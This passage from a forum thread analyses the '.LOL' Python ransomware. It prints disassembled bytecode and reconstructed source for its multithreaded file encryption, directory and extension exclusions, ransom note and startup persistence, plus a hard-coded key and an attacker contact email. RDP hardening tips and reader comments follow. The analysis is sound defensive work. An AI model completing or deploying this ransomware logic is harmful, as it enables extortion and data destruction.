8       LOAD_GLOBAL                     0: encrypt_files_in_path
10      LOAD_FAST                     1: path
12      CALL_FUNCTION                   1//encrypt_files_in_path(path)
14      GET_ITER
16      FOR_ITER                        24 (to 42)
18      STORE_FAST                      2: file_path// for file_path in encrypt_files_in_path(path)
20      LOAD_DEREF                      0: executor
22      LOAD_METHOD                     1: submit   
24      LOAD_GLOBAL                     2: D_E_ncrypt
26      LOAD_FAST                     2: file_path
28      LOAD_GLOBAL                     3: Box
30      CALL_FUNCTION                   2   //D_E_ncrypt(file_path, Box).FileE
32      LOAD_ATTR                     4: FileE
34      CALL_METHOD                     1   // executor.submit
36      LOAD_FAST                     2: file_path
38      MAP_ADD                         3
40      JUMP_ABSOLUTE                   16
42      JUMP_ABSOLUTE                   4
44      RETURN_VALUE
```

逻辑大概如下

```Python
with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
      future_to_file = {
      file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE)# 提交 FileE 方法
      for path in PathList
      for file_path in encrypt_files_in_path(path)
    }
```

接下来对多线程操作进行判断

```Python
38      LOAD_GLOBAL                     4: as_completed
40      LOAD_FAST                     0: future_to_file
42      CALL_FUNCTION                   1   
44      GET_ITER
46      FOR_ITER                        96 (to 144)
48      STORE_FAST                      1: future //for future in as_completed(future_to_file):
50      LOAD_FAST                     0: future_to_file
52      LOAD_FAST                     1: future
54      BINARY_SUBSCR
56      STORE_FAST                      2: file_path
58      SETUP_FINALLY                   26 (to 86)//设置异常处理
60      LOAD_FAST                     1: future
62      LOAD_METHOD                     5: result
64      CALL_METHOD                     0//future.result()
66      POP_TOP
68      LOAD_GLOBAL                     0: print
70      LOAD_CONST                      5: 'Successfully encrypted '
72      LOAD_FAST                     2: file_path
74      FORMAT_VALUE                  0 (FVC_NONE)//print(f'Successfully encrypted {file_path}')
76      BUILD_STRING                  2
78      CALL_FUNCTION                   1
80      POP_TOP
82      POP_BLOCK
84      JUMP_ABSOLUTE                   46
86      DUP_TOP
88      LOAD_GLOBAL                     6: Exception
90      JUMP_IF_NOT_EXC_MATCH         140
92      POP_TOP
94      STORE_FAST                      3: exc
96      POP_TOP
98      SETUP_FINALLY                   32 (to 132)
100   LOAD_GLOBAL                     0: print
102   LOAD_CONST                      6: 'Error encrypting '
104   LOAD_FAST                     2: file_path
106   FORMAT_VALUE                  0 (FVC_NONE)
108   LOAD_CONST                      7: ': '
110   LOAD_FAST                     3: exc
112   FORMAT_VALUE                  0 (FVC_NONE)
114   BUILD_STRING                  4
116   CALL_FUNCTION                   1//print(f'Error encrypting {file_path}: {exc}')
118   POP_TOP
120   POP_BLOCK
122   POP_EXCEPT
124   LOAD_CONST                      0: None
126   STORE_FAST                      3: exc
128   DELETE_FAST                     3: exc
130   JUMP_ABSOLUTE                   46
132   LOAD_CONST                      0: None
134   STORE_FAST                      3: exc
136   DELETE_FAST                     3: exc
138   RERAISE
140   RERAISE
142   JUMP_ABSOLUTE                   46
144   POP_BLOCK
146   LOAD_CONST                      0: None
148   DUP_TOP
150   DUP_TOP
152   CALL_FUNCTION                   3
154   POP_TOP
156   JUMP_FORWARD                  16 (to 174)
158   WITH_EXCEPT_START
160   POP_JUMP_IF_TRUE                164
162   RERAISE
164   POP_TOP
166   POP_TOP
168   POP_TOP
170   POP_EXCEPT
172   POP_TOP
174   LOAD_CONST                      0: None
176   RETURN_VALUE
```

经过还原的代码大致如下

```Python
def OneStart():
    print("It's Working")
    with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
      future_to_file = {
      file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE)# 提交 FileE 方法
      for path in PathList
      for file_path in encrypt_files_in_path(path)
    }
      for future in as_completed(future_to_file):
            future_path = future_to_file
            try:
                future.result()
                print(f'Successfully encrypted {file_path}')
            except:
                print(f'Error encrypting {file_path}: {exc}')
```

### 5.3.7 CallErrorBox函数

此函数被正常反编译出来,这里就不再赘述

```C++
def CallErrorBox():
    WINDOW = tkinter.Tk()
    WINDOW.withdraw()
    messagebox.showerror('Error', 'Try To Re-Run As Administrator')
```

### 5.3.8 encrypt_files_in_path

这个函数的字节码如下

```Bash
0       LOAD_GLOBAL                     0: os
2       LOAD_METHOD                     1: walk
4       LOAD_FAST                     0: path
6       CALL_METHOD                     1//os.walk(path)
8       GET_ITER
10      FOR_ITER                        138 (to 150)
12      UNPACK_SEQUENCE               3   //解包上面返回的可迭代对象
14      STORE_FAST                      1: root
16      STORE_FAST                      2: _
18      STORE_FAST                      3: files
20      LOAD_FAST                     3: files
22      GET_ITER
24      FOR_ITER                        122 (to 148)
26      STORE_FAST                      4: name
28      LOAD_GLOBAL                     0: os
30      LOAD_ATTR                     2: path
32      LOAD_METHOD                     3: join
34      LOAD_FAST                     1: root
36      LOAD_FAST                     4: name
38      CALL_METHOD                     2//os.path.join(root, name)
40      STORE_DEREF                     0: file_path
42      LOAD_GLOBAL                     0: os
44      LOAD_METHOD                     4: stat
46      LOAD_DEREF                      0: file_path
48      CALL_METHOD                     1//os.stat(file_path).st_size
50      LOAD_ATTR                     5: st_size
52      STORE_FAST                      5: file_size
```

得到代码如下

```Plain
    for root, _, files in os.walk(path):
      for name in files:
            file_path = os.path.join(root, name)
            file_size = os.stat(file_path).st_size
```

接下来是一个判断

```SQL
54      LOAD_GLOBAL                     6: any
56      LOAD_CLOSURE                  0: file_path
58      BUILD_TUPLE                     1
60      LOAD_CONST                      1: <CODE> <genexpr> //生成器表达式
62      LOAD_CONST                      2: 'encrypt_files_in_path.<locals>.<genexpr>'
64      MAKE_FUNCTION                   8
66      LOAD_CONST                      3: ('$Recycle.Bin', 'Windows', 'AppData', 'System32')
68      GET_ITER
70      CALL_FUNCTION                   1//调用genexpr
72      CALL_FUNCTION                   1 //调用any
74      POP_JUMP_IF_FALSE               78 //判断是否为false
76      JUMP_ABSOLUTE                   24//如果是就跳转
```

其中这个表达式汇编如下

```SQL
0       LOAD_FAST                     0: .0
2       FOR_ITER                        14 (to 18)
4       STORE_FAST                      1: x //x for x in 输入的参数
6       LOAD_FAST                     1: x
8       LOAD_DEREF                      0: file_path
10      CONTAINS_OP                     0 (in) //file_path in x
12      YIELD_VALUE   //yield
14      POP_TOP
16      JUMP_ABSOLUTE                   2
18      LOAD_CONST                      0: None
20      RETURN_VALUE   //return
```

翻译为代码如下,用于排除特定目录

```Java
if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')):
                continue
```

接下来又是一个相似的操作

```SQL
LOAD_GLOBAL                     6: any
80      LOAD_CLOSURE                  0: file_path
82      BUILD_TUPLE                     1
84      LOAD_CONST                      4: <CODE> <genexpr>//另外一个生成器
86      LOAD_CONST                      2: 'encrypt_files_in_path.<locals>.<genexpr>'
88      MAKE_FUNCTION                   8
90      LOAD_CONST                      5: ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')
92      GET_ITER
94      CALL_FUNCTION                   1
96      CALL_FUNCTION                   1
```

生成器字节码如下

```SQL
0       LOAD_FAST                     0: .0   //输入的参数
2       FOR_ITER                        16 (to 20)
4       STORE_FAST                      1: ext//for ext in 输入的参数
6       LOAD_DEREF                      0: file_path
8       LOAD_METHOD                     0: endswith
10      LOAD_FAST                     1: ext
12      CALL_METHOD                     1   //file_path.endswith(ext)
14      YIELD_VALUE      
16      POP_TOP
18      JUMP_ABSOLUTE                   2
20      LOAD_CONST                      0: None
22      RETURN_VALUE
```

翻译后的代码如下,用于排除特定拓展名

```Python
      if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')):
                continue
```

接下来对文件大小进行校验并调用加密算法

```Python
100   JUMP_ABSOLUTE                   24
102   LOAD_FAST                     5: file_size
104   LOAD_GLOBAL                     7: FILE_SIZE_THRESHOLD
106   COMPARE_OP                      5 (>=)//file_size >= FILE_SIZE_THRESHOLD:
108   POP_JUMP_IF_FALSE               118
110   LOAD_DEREF                      0: file_path
112   YIELD_VALUE                              //yield file_size
114   POP_TOP
116   JUMP_ABSOLUTE                   24
118   LOAD_GLOBAL                     8: print
120   LOAD_CONST                      6: 'Encrypting small file '
122   LOAD_DEREF                      0: file_path
124   FORMAT_VALUE                  0 (FVC_NONE)
126   BUILD_STRING                  2
128   CALL_FUNCTION                   1   //print(f'Encrypting small file {file_path}')
130   POP_TOP
132   LOAD_GLOBAL                     9: D_E_ncrypt
134   LOAD_DEREF                      0: file_path
136   LOAD_GLOBAL                     10: Box
138   CALL_FUNCTION                   2   // D_E_ncrypt(file_path, Box)
140   LOAD_METHOD                     11: FileE
142   CALL_METHOD                     0//encryptor.FileE()
144   POP_TOP
146   JUMP_ABSOLUTE                   24
148   JUMP_ABSOLUTE                   10
150   LOAD_CONST                      0: None
152   RETURN_VALUE
```

代码大致如下

```Python
def encrypt_files_in_path(path):
    for root, _, files in os.walk(path):
      for name in files:
            file_path = os.path.join(root, name)
            file_size = os.stat(file_path).st_size
            
            # 排除特定目录
            if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')):
                continue
            
            # 排除特定文件扩展名
            if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')):
                continue
            
            # 检查文件大小
            if file_size >= FILE_SIZE_THRESHOLD:
                yield file_path
            print(f'Encrypting small file {file_path}')
               
                # 创建 D_E_ncrypt 实例并调用 FileE 方法
            encryptor = D_E_ncrypt(file_path, Box)
            encryptor.FileE()
```

### 5.3.9 main

```Python
if __name__ == '__main__':
    if AdminRight:
      OneStart()
      create_ransom_note()
      email = 'elenaelerhsteink08673@gmail.com'
      create_image_with_email(email)
      script_path = os.path.abspath(__file__)
      add_to_startup(script_path)
    else:
      CallErrorBox()
```

### 5.3.10 全局变量初始化

```Python
MAX_THREAD_WORKERS = 100
FILE_SIZE_THRESHOLD = 10485760
User = os.getlogin()
Script = sys.argv
MaxThread = 120
AdminRight = ctypes.windll.shell32.IsUserAnAdmin()
#密钥初始化
Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa'
Box = nacl.secret.SecretBox(Key)
Token = 'Your Telegram Token So you can Get Decrypt The Files!'
NumID = 'Your User ID so Bot just Send Key To You !'
Message = f'''{User} -> {Key}'''
PathList = [
    'C:\\Users\\\\']
for Latter in range(97, 123):
    PathList.append(f'''{chr(Latter)}:\\''')
PathList.remove('c:\\')
print(f'''list -> {PathList}''')
print(f'''We are -> {Script}''')
```

# 6.病毒分析概览

分析表明,该病毒程序通过Python打包成可执行文件,具备文件加密、勒索信生成、权限维持及启动项添加等多种功能。利用NACL加密算法,该病毒对特定目录和文件类型进行遍历加密,生成“.lol”后缀文件,并通过更换桌面壁纸和创建勒索信提示用户支付赎金。此外,恶意程序使用注册表实现开机自启动,且通过多线程加速加密进程。

overnet 发表于 2024-11-6 16:42

防范黑客通过脚本字典对Windows 3389远程桌面暴力破解密码的方法:

1. 更改远程桌面默认端口
原理:黑客通常会针对3389端口进行攻击,修改默认端口可以让攻击者难以发现远程桌面服务。例如,将端口修改为一个非标准的、自己定义的端口号。
操作步骤:
通过修改注册表来更改端口。运行“regedit”打开注册表编辑器,找到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp”,在右侧找到“PortNumber”,将其十进制值修改为其他端口号(例如12345);然后找到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP - Tcp”,同样修改“PortNumber”的值。修改后需要重启计算机使设置生效。

2. 启用账户锁定策略

原理:当黑客尝试多次使用错误密码登录时,系统会锁定账户,从而阻止暴力破解行为。这样可以有效防止攻击者不断尝试不同密码来猜测正确的登录信息。
操作步骤:
打开“本地安全策略”(可以通过在运行框中输入“secpol.msc”并回车打开)。在“安全设置” - > “账户策略” - > “账户锁定策略”中,设置“账户锁定阈值”(例如,设置为3次错误登录后锁定账户)、“账户锁定时间”(如30分钟)和“复位账户锁定计数器”(例如30分钟后重置锁定计数器)的值。

3. 使用强密码

原理:强密码可以大大增加黑客暴力破解的难度。强密码通常具有足够的长度、包含大小写字母、数字和特殊字符等多种元素。
操作步骤:
对于远程桌面登录账户,设置至少8位以上的密码,并且包含大小写字母(如Aa)、数字(如123)和特殊字符(如!@#)。避免使用简单的字典单词、生日、电话号码等容易被猜到的密码。

4. 限制远程桌面访问的IP地址范围

原理:只允许特定信任的IP地址访问远程桌面,可以阻止来自其他未知IP的暴力破解尝试。这样可以将访问来源缩小到可信任的范围,如企业内部网络中的特定网段。
操作步骤:
可以通过Windows防火墙来设置入站规则。打开“高级安全Windows防火墙”,在“入站规则”中找到“远程桌面 - 用户模式(TCP - In)”规则,右键点击选择“属性”,在“作用域”选项卡中,在“远程IP地址”下选择“这些IP地址”,然后添加允许访问的IP地址范围或者特定IP地址。

5. 安装安全防护软件

原理:专业的安全防护软件能够检测和阻止黑客的暴力破解行为。它们可以实时监控网络连接情况,发现异常的登录尝试并进行拦截。
操作步骤:
安装知名的防病毒软件(如卡巴斯基、诺顿等)和防火墙软件(如ZoneAlarm等),并及时更新病毒库和软件版本,以确保能够应对最新的安全威胁。

6. 定期检查系统日志

原理:系统日志记录了远程桌面登录的相关信息,包括登录成功和失败的情况。通过定期检查,可以及时发现异常的登录尝试模式,例如短时间内多次登录失败的情况。
操作步骤:
可以通过“事件查看器”(在运行框中输入“eventvwr.msc”并回车打开)来查看系统日志。重点关注“Windows日志” - > “安全”中的相关事件,特别是事件ID为4625(表示账户登录失败)的记录,查看是否有可疑的登录尝试。如果发现异常,及时采取措施,如修改密码、检查账户安全性等。

Solarsec 发表于 2024-11-7 10:55

liyicha 发表于 2024-11-7 10:41
就是之前差点下到了,然后群里有人被中毒了,然后我就想着这种勒索病毒违法了吧,然后然后那人后面好像去 ...

哦哦,好的,没事,别客气,下次遇到了可以分享给我们样本。

rubysn0ws 发表于 2024-11-5 17:58

厉害,收藏慢慢看

czwjob 发表于 2024-11-5 18:31


厉害,厉害,学习一下

WarsR 发表于 2024-11-5 19:18

这个太厉害了,学习一下

天轩科技 发表于 2024-11-5 19:56

solar貌似对勒索病毒情有独钟阿

Night1918 发表于 2024-11-5 19:56

楼主厉害,学习了

kloco303 发表于 2024-11-5 20:27

高手,逆向。呵,先有病毒才有防吧。。。。

qqycra 发表于 2024-11-5 20:29

我喜欢看火绒和Solarsec的文章

xiuquan523 发表于 2024-11-5 21:27


这个太厉害了,学习一下

ahov 发表于 2024-11-5 21:34

啊?用中文写的勒索信?用Python写的勒索病毒?这还是真实在野的?我没看错吧?{:301_1009:}
(但凡这作者想提升一下加密速度,也不会用Python啊
页: [1] 2 3 4 5 6 7 8
查看完整版本: 【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇!